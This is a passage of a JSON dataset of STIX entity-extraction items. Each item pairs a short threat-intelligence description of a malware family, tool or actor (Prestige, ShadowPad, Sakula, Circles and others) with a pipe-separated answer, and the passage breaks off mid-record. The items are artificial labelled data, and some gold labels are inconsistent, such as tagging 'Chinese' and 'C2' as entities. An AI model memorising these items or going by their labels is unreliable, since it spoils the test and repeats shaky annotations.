    "input": "### Text Passage:\nPrestige ransomware has been used by Sandworm Team since at least March 2022, including against transportation and related logistics industries in Ukraine and Poland in October 2022.\n",
    "output": "<entities>Sandworm Team|Prestige|Ukraine|Poland</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nH1N1 has functionality to copy itself to network shares.\n",
    "output": "<entities>H1N1</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nPipeMon can iterate over the running processes to find a suitable injection target.\n",
    "output": "<entities>PipeMon</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nZxShell can collect the owner and organization information from the target workstation.\n",
    "output": "<entities>ZxShell</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nUACMe contains many methods for bypassing Windows User Account Control on multiple versions of the operating system.\n",
    "output": "<entities>UACMe|Windows</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nShadowPad is a modular backdoor that was first identified in a supply chain compromise of the NetSarang software in mid-July 2017. The malware was originally thought to be exclusively used by APT41, but has since been observed to be used by various Chinese threat activity groups. \n",
    "output": "<entities>ShadowPad|APT41|NetSarang|Chinese</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nSunbird is one of two mobile malware families known to be used by the APT Confucius.  Analysis suggests that Sunbird was first active in early 2017. While Sunbird and Hornbill overlap in core capabilities, Sunbird has a more extensive set of malicious features.\n",
    "output": "<entities>Sunbird|APT Confucius|Hornbill</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nGoldFinder logged and stored information related to the route or hops a packet took from a compromised machine to a hardcoded C2 server, including the target C2 URL, HTTP response/status code, HTTP response headers and values, and data received from the C2 node.\n",
    "output": "<entities>C2|GoldFinder</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nHydraq is a data-theft trojan first used by Elderwood in the 2009 Google intrusion known as Operation Aurora, though variations of this trojan have been used in more recent campaigns by other Chinese actors, possibly including APT17. \n",
    "output": "<entities>Hydraq|Google|Operation Aurora|APT17|Chinese|Elderwood</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nWevtutil can be used to clear system and security event logs from the system.\n",
    "output": "<entities>Wevtutil</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nA module in Prikormka collects information about the paths, size, and creation time of files with specific file extensions, but not the actual content of the file.\n",
    "output": "<entities>Prikormka</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nXbot is an Android malware family that was observed in 2016 primarily targeting Android users in Russia and Australia.\n",
    "output": "<entities>Xbot|Android|Russia|Australia</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nZeus Panda collects the current system time (UTC) and sends it back to the C2 server.\n",
    "output": "<entities>Zeus Panda|C2</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nLOWBALL uses the Dropbox API to request two files, one of which is the same file as the one dropped by the malicious email attachment. This is most likely meant to be a mechanism to update the compromised host with a new version of the LOWBALL malware.\n",
    "output": "<entities>LOWBALL|Dropbox API</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nSakula uses DLL side-loading, typically using a digitally signed sample of Kaspersky Anti-Virus (AV) 6.0 for Windows Workstations or McAfee's Outlook Scan About Box to load malicious DLL files.\n",
    "output": "<entities>Sakula|McAfee|Windows|Kaspersky Anti-Virus (AV) 6.0|Outlook</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nBriba uses rundll32 within Registry Run Keys / Startup Folder entries to execute malicious DLLs.\n",
    "output": "<entities>Briba|rundll32</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nCircles reportedly takes advantage of Signaling System 7 (SS7) weaknesses, the protocol suite used to route phone calls, to both track the location of mobile devices and intercept voice calls and SMS messages. It can be connected to a telecommunications company\u2019s infrastructure or purchased as a cloud service. Circles has reportedly been linked to the NSO Group.\n",
    "output": "<entities>Circles|NSO Group</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nStealth Falcon malware gathers passwords from the Windows Credential Vault.\n",
    "output": "<entities>Windows|Stealth Falcon|Windows Credential Vault</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., 